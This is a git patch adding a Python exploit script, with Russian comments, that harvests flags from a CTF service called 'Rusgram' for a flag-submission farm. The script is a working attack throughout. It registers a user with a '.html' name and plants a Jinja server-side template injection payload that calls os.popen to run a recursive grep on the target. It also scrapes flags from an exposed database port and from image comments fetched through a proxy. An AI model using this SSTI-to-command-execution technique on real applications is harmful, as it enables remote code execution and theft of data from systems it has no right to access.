From b6479511992f0b7ddd6353eacc1788d3628c5120 Mon Sep 17 00:00:00 2001 From: frogolonso Date: Wed, 26 Aug 2026 11:51:13 +0300 Subject: [PATCH] rand_sploit_rusgram_btw --- sploits/rusgram_ssti_flagrake.py | 150 +++++++++++++++++++++++++++++++ 1 file changed, 150 insertions(+) create mode 100644 sploits/rusgram_ssti_flagrake.py diff --git a/sploits/rusgram_ssti_flagrake.py b/sploits/rusgram_ssti_flagrake.py new file mode 100644 index 0000000..6a4a231 --- /dev/null +++ b/sploits/rusgram_ssti_flagrake.py @@ -0,0 +1,150 @@ +#!/usr/bin/env python3 +""" +Rusgram — SSTI "flag rake" (distinct from rusgram_sploit.py). + +Отличия от существующего комбинированного сплойта: + * основной вектор — ОДИН SSTI-RCE-запрос с широким grep по всему /app/ + (а не только по /app/files/db/), ловит флаги в любом месте ФС таргета; + * добавлен канал сбора флагов из КОММЕНТАРИЕВ к картинкам + (specific.html через proxy + прямой database) — существующий сплойт + комментарии использует только для энумерации имён, флаги оттуда не берёт; + * реализованы точки входа start_sploit(ip, port) и sploit(ip) для фермы. + +S4DFarm-совместим: CLI (argv[1]=IP, argv[2]=PORT), флаги в stdout по одному +на строку, жёсткие таймауты, все сетевые вызовы в try/except. + +Запуск: + ./start_sploit.py rusgram_ssti_flagrake.py + # или напрямую: + python3 rusgram_ssti_flagrake.py [PROXY_PORT] +""" +import sys +import re +import random +import string +import requests + +FLAG_RX = re.compile(r"[A-Z0-9]{31}=") +TIMEOUT = 5 + +PROXY_PORT = 38000 +DB_PORT = 38002 + + +def _rnd(n=8): + return "".join(random.choices(string.ascii_lowercase, k=n)) + + +def _log(msg): + print(f"[*] {msg}", file=sys.stderr, flush=True) + + +# -------------------------------------------------------------------------- +# Вектор A: SSTI -> RCE. Имя юзера с суффиксом .html рендерится content'ом как +# Jinja-шаблон (content.route -> render_template(path)). Кладём payload в поле +# юзера ДО первого рендера, затем один grep по всему /app/. +# -------------------------------------------------------------------------- +def _v_ssti(base, flags): + user, pwd = f"{_rnd()}.html", _rnd() + try: + requests.post(f"{base}/api/register", + json={"login": user, "password": pwd}, timeout=TIMEOUT) + # grep рекурсивно сам обходит ФС: имена жертв знать не нужно. + # -h убирает имена файлов, 2>/dev/null глушит ошибки доступа. + payload = ("{{ lipsum.__globals__.os.popen('grep -rhoE " + "\"[A-Z0-9]{31}=\" /app/ 2>/dev/null').read() }}") + requests.post(f"{base}/api/update_personal", + json={"first_name": payload, "second_name": "x", "email": "x"}, + cookies={"session": f"{user}||{pwd}"}, timeout=TIMEOUT) + r = requests.get(f"{base}/db/users/{user}", timeout=TIMEOUT) + found = set(FLAG_RX.findall(r.text)) + flags |= found + _log(f"A (SSTI grep) : {len(found)} flags") + except requests.RequestException as e: + _log(f"A failed: {e}") + + +# -------------------------------------------------------------------------- +# Вектор B: прямой database на 38002 — читаем и user-поля, и КОММЕНТАРИИ картинок. +# -------------------------------------------------------------------------- +def _v_db_comments(ip, flags): + d = f"http://{ip}:{DB_PORT}" + found = set() + for i in range(1, 17): + try: + r = requests.get(f"{d}/images/{i}", timeout=TIMEOUT) + found |= set(FLAG_RX.findall(r.text)) + except requests.RequestException: + break + flags |= found + if found: + _log(f"B (db imgs) : {len(found)} flags") + + +# -------------------------------------------------------------------------- +# Вектор C: specific.html через proxy рендерит комментарии картинок. +# Работает, даже если 38002 закрыт фаерволом (ходим только на 38000). +# Требуется валидная сессия -> регистрируем свой аккаунт. +# -------------------------------------------------------------------------- +def _v_proxy_comments(base, flags): + actor, pwd = _rnd(10), _rnd() + try: + requests.post(f"{base}/api/register", + json={"login": actor, "password": pwd}, timeout=TIMEOUT) + except requests.RequestException: + return + found = set() + cookies = {"session": f"{actor}||{pwd}"} + for i in range(1, 17): + try: + r = requests.get(f"{base}/specific.html?img={i}", + cookies=cookies, timeout=TIMEOUT) + found |= set(FLAG_RX.findall(r.text)) + except requests.RequestException: + pass + flags |= found + if found: + _log(f"C (proxy cmt) : {len(found)} flags") + + +def exploit(target_ip, port=None): + proxy_port = int(port) if port else PROXY_PORT + base = f"http://{target_ip}:{proxy_port}" + flags = set() + + _v_ssti(base, flags) # самый широкий вектор — первым + _v_db_comments(target_ip, flags) + _v_proxy_comments(base, flags) + + return flags + + +# --- Точки входа для S4DFarm ------------------------------------------------ +def start_sploit(ip, port=None): + return exploit(ip, port) + + +def sploit(ip, port=None): + return exploit(ip, port) + + +def main(): + if len(sys.argv) < 2: + print(f"Usage: {sys.argv[0]} [port]", file=sys.stderr, flush=True) + sys.exit(1) + + target_ip = sys.argv[1] + port = sys.argv[2] if len(sys.argv) > 2 else None + + try: + found_flags = exploit(target_ip, port) or [] + for flag in found_flags: + clean_flag = str(flag).strip() + if FLAG_RX.fullmatch(clean_flag): + print(clean_flag, flush=True) + except Exception as e: + print(f"[-] Exploit error for {target_ip}: {e}", file=sys.stderr, flush=True) + + +if __name__ == "__main__": + main()